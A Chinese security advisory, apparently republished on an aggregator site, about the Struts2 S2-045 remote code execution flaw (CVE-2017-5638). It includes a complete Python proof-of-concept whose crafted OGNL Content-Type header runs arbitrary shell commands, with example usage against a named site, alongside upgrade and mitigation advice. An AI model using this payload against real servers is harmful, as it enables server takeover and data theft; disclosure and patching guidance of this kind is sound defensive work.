Struts2存在远程代码执行的严重漏洞(struts2如何漏洞修复)

近日,安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架——Struts2存在远程代码执行的严重漏洞。目前Struts2官方已经确认漏洞(漏洞编号S2-045,CVE编号:cve-2017-5638),并定级为高

近日,安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架——Struts2存在远程代码执行的严重漏洞

目前Struts2官方已经确认漏洞(漏洞编号S2-045,CVE编号:cve-2017-5638),并定级为高风险。

由于该漏洞影响范围极广(Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10),漏洞危害程度极为严重,可直接获取应用系统所在服务器的控制权限。

该漏洞影响范围极广,影响国内外绝大多数使用Struts2开发框架的站点。建议提前做好该严重漏洞的应急准备工作。

受影响的软件版本:Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10,该漏洞危害程度极高,黑客可以利用该漏洞通过浏览器在远程服务器上执行任意系统命令,将会对受影响站点造成严重影响,引发数据泄露、网页篡改、后门植入、沦为肉鸡等安全事件。

图为利用漏洞成功执行ifconfig命令

有关该漏洞详情如下:漏洞编号:

CVE-2017-5638

漏洞名称:

基于 Jakarta plugin插件的Struts远程代码执行漏洞

官方评级:

高危

漏洞描述:

恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。目前针对此漏洞的EXP已经开始在网络流传,为了广大用户的资产安全,请大家尽快进行漏洞检测及修复。

漏洞利用条件和方式:

黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。

漏洞POC

#! /usr/bin/env python# encoding:utf-8import urllib2import sysfrom poster.encode import multipart_encodefrom poster.streaminghttp import register_openersdef poc():register_openers()datagen, header = multipart_encode({\”image1\”: open(\”tmp.txt\”, \”rb\”)})header[\”User-Agent\”]=\”Mozilla5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\”header[\”Content-Type\”]=\”%{(#nike=\’multipart/form-data\’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\’com.opensymphony.xwork2.ActionContext.container\’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\’\”+sys.argv[2]+\”\’).(#iswin=(@java.lang.System@getProperty(\’os.name\’).toLowerCase().contains(\’win\’))).(#cmds=(#iswin?{\’cd.exe\’,\’/c\’,#cmd}:{\’/bin/bash\’,\’-c\’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\”try:request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)response = urllib2.urlopen(request)print response.read()except Exception,e:print e poc()

POC使用方法:st2-045.py http://www.secpulse.com whoami

漏洞影响范围:Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

漏洞修复建议(或缓解措施):

检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞,

更行至Strusts2.3.32或者Strusts2.5.10.1,或使用第三方的防护设备进行防护。

临时解决方案:删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。

多因素小编认为这次的漏洞还蛮严重 可以跟2013年的st2-016有的一拼了,甲方厂商要加强自检,宁可加班一晚,切勿坐等腥风血雨。

安识科技伏特漏洞云扫描平台已经支持检测 欢迎各大厂商自查 https://v.duoyinsu.com

以上就是struts2如何漏洞修复(Struts2存在远程代码执行的严重漏洞)的相关内容了,更多精彩内容请关注 作者:【听风技术】!

作者:听风技术发布时间:12:52:27

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,请发送邮件至 55@qq.com 举报,一经查实,本站将立刻删除。转转请注明出处:https://www.szhjjp.com/n/74927.html

(0)
nan
上一篇 2022-01-02
下一篇 2022-01-02

相关推荐

  • 最靠谱的招聘网站排名(最好的求职网站有哪些)

    现在招聘网站也挺多,不同的招聘网站用户人群也不一样,所以要选择适合你的招聘网站投递简历才能找到好工作。下面的的表格是排名前10的招聘类APP。数据来源:TalkingData《2018年招聘类APP用户人群洞察报告》应用活跃指数:根据Ta

    2021-12-07 用户投稿
    0
  • 基金跌了为什么要加仓(原来是这样的)

    如今购买基金的人越来越多,不过当基金跌时,投资者的心情非常沉重,毕竟大家都希望买基金能赚到钱。相信很多人都有疑惑,基金跌了为什么要加仓?加仓的原因是什么?跟小编一起去看看吧。女职工50岁退休医保要交多少年,来看规定在社保缴费这件事情上,相信很多人都了解到,职工必须累积参加养老保险15年,且申请退休…

    2021-12-21
    0
  • 过了25岁最好不要矫正牙齿(带牙套要多久)

    牙齿正畸包括钢丝牙套和隐形牙套,都是借助矫正器的力量来让牙齿恢复到正常位置,来达到牙齿矫正的目的,一般牙齿正畸所需的时间与年龄、牙齿畸形程度等有关,18岁以下者一般需要1~2年,18岁以上者一般需要2年以上。精子存活时间是多久(精子的存活率是多久)阅读本文之前,建议您我们的头条号,别错过全网…

    2021-10-10
    0
  • 奇迹sf外挂辅助(史上最猛外挂盘点)

    很多人在玩游戏时会选择异性角色,只是单纯觉得人设好看。十多年前,我在奇迹MU中用了弓箭手女号,却在无意中伤害了一个老实人,至今还让我愧疚不已初中那会网吧里玩单机游戏的人还很多,那时单机游戏很丰富,网游可选择的不多,所以玩网游的基本上都是在玩《传奇》或

    2021-10-16 用户投稿
    0
  • 你最希望解开的历史之谜是什么(世界历史不解之谜)

    [导读]传国玉玺到底去哪了?我们还有没有可能找回来?下面来分析一下传国玉玺的辗转流程,看看有可能流落在哪里……公元前228年,秦王嬴政破赵,得到了和氏璧,然后雕琢为传国玉玺,刻有“受命于天既寿永昌”

    2022-01-18 用户投稿
    0
  • 情感诗词大全爱情(描写爱情的古诗词)

    中国文化,源远流长,在历史长河中,出现了许许多多惊才绝艳的诗人,自然也留下了数量庞大的优秀诗句。自古情之一字最难解,当你不爱一个人了,或者有爱无处诉说时,不如来体会一下中国诗词的渊博。那么让我们来看一下,那些文人墨客都是怎么用诗句来表达我不爱你了的

    2021-09-28
    0

发表回复

登录后才能评论